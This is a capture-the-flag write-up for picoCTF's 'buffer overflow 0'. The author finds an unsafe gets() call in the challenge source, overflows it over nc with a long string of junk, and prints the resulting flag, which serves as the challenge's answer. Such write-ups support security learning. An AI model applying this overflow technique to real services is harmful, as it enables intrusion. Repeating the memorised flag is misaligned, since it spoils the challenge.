buffer overflow0

Description

Smash the stack

Let's start off simple, can you overflow the correct buffer? The program is available here. You can view source here. And connect with it using:

```
nc saturn.picoctf.net 55984
```

Hints

1 2 3

Run `man gets` and read the BUGS section. How many characters can the program really read?

I did exactly that.
The first thing I did was man gets, and this was what it said in the bugs section :

"*Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead.*"

I saw a gets in the source code too,

```
printf("Input: ");
fflush(stdout);
char buf1[100];
gets(buf1);
vuln(buf1);
printf("The program will
```

And the fact that the challenge's name was buffer overflow.
It couldn't be that easy, could it ?

I then ran the thing and attempted to "overflow" the input
Sure enough :

```
┌──(kali㉿kali)-[~]
└─$ nc saturn.picoctf.net 55984
Input: awdhgghawduawdvahwdvvawhvdhavhdwhahdvawvjd
picoCTF{ov3rfl0ws_ar3nt_that_bad_ef01832d}
```

It was that easy.

picoCTF{ov3rfl0ws_ar3nt_that_bad_ef01832d}